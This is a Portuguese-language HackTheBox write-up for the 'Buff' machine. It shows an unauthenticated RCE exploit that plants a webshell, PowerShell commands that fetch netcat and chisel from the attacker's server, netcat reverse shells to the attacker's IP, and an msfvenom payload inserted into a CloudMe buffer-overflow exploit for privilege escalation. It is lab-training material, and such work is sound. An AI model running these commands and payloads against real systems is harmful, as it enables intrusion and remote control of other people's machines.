chu@antisec:~/htb$

← ../ writeups

chu@antisec:~/htb$ cat buff.md

Buff - HackTheBox - WriteUp

Buff
buff — card da máquina no hackthebox

chu@antisec:~/htb$ cat tools.txt

Tools utilizadas

Vamos iniciar fazendo um scan com o Nmap procurando portas e serviços ativos:

Ao acessar o serviço Web, podemos encontrar a versão do CMS utilizado no site:

● url
http://10.10.10.198:8080/contact.php
Image
gym management — página de contato do CMS
● versão
Gym Management Software 1.0

Após encontrarmos a versão do CMS, podemos buscar por falhas já conhecidas sobre ele.

No site Exploit-DB encontramos alguns exploits e um deles nos parece muito interessante;

Image
exploit-db — busca por exploits do CMS

O exploit, consegue executar comandos de forma remota e sem autenticação!

Bom, vamos testa-lo!

Image
rce — exploit executado com sucesso

Podemos ver que o exploit funcionou e realizou o upload de uma webshell. XD

Nossa webshell foi inserida no caminho:

● webshell
http://10.10.10.198:8080/upload/kamehameha.php

Se quisermos utilizar o navegador para realizar comandos utilizamos o parametro 'telepathy' para passar nossos comandos: Ex:

Image
telepathy — comando via parâmetro
● url
http://10.10.10.198:8080/upload/kamehameha.php?telepathy=whoami

Vamos usar a shell em nosso terminal. Após conseguirmos executar comandos, vamos tentar realizar a conexão reversa. Subiremos um servidor com python em nossa máquina para enviarmos o netcat para nosso alvo:

Image
python — subindo servidor de arquivos
● cmd
python -m SimpleHTTPServer 80

Vamos tentar jogar o netcat dentro da máquina alvo, através de nossa shell inicial.

Vamos usar o PowerShell para isso

Image
powershell — download do netcat
● cmd
powershell Invoke-WebRequest -Uri 'http://10.10.14.146/nc.exe'-OutFile 'C:\xampp\htdocs\gym\upload\nc.exe'

Após realizarmos o upload, vamos fazer a conexão com nossa máquina através do netcat.

Image
reverse shell — conexão via netcat
● cmd
.\nc.exe 10.10.14.146 433 -e powershell.exe

Em nossa máquina, abrimos a porta 443 para o netcat se conectar:

Image
netcat — listener na porta 443
● cmd
nc -vnlp 443

Ao ganhar o acesso inicial e realizarmos a enumeração do que está rodando na máquina, podemos encontrar um software chamado CloudMe 1.11.2

Image
cloudme — enumeração de software

Vamos fazer como fizemos no outro software, vamos buscar por falhas conhecidas:

Image
exploit-db — falhas do cloudme

Ao pesquisar mais a fundo sobre esse software, é possível encontrar um exploit que utiliza Buffer Overflow na versão 1.11.2 para escalção de privilégios.

Ao analisar o CloudMe, podemos ver que ele está rodando somente local... Nosso alvo não possuí python para conseguirmos executar o exploit... Vamos tentar um portforward para executar o exploit. Na primeira vez que fiz essa box, usei o plink.exe, porém, quando fui refazer para tirar as prints, tentei durante horas e não funcionou...

Para isso vamos tentar utilizar o chisel.exe para isso:

Vamos envia-lo para a máquina:

Image
powershell — enviando o binário
● cmd
powershell Invoke-WebRequest -Uri 'http://10.10.14.145/windao.exe'-OutFile 'C:\xampp\htdocs\gym\upload\windao.exe'

Salvei com esse nome pra evitar outras pessoas usando o mesmo arquivo(RIP vip)

Image
upload — binário já no alvo

Vamos editar o payload do exploit para conectar-se a nossa máquina: Usando o msfvenom criamos um payload:

Image
msfvenom — gerando o payload
● cmd
msfvenom -p windows/exec CMD='c:\xampp\htdocs\gym\upload\nc.exe 10.10.14.145 4444 -e cmd.exe' -b '\x00\x0A\x0D' -f python -v payload

Após isso inserimos ele dentro de nosso exploit(48389.py).

Image
exploit — payload inserido no 48389.py

Ativando o Chisel como server:

Image
chisel — server em nossa máquina
● cmd
./chisel server --reverse --port 10001

Usando o Chisel como client:

Image
chisel — client no alvo
● cmd
.\chisel.exe client 10.10.14.145:10001 R:3306:localhost:3306 R:8888:localhost:8888

Após a conexão ser concluida no Chisel, podemos executar o exploit já editado com o nosso payload, que realiza uma conexão na porta 4444, portanto, abrimos a porta com o netcat e aguardamos a conexão. Obs: tive que executar o exploit mais de uma vez para receber a conexão.

● cmd
nc -vvnlp 4444

agora somos admin/root XD

Image
root — shell de administrador

if i helped you, add + respect at my profile :D

My references: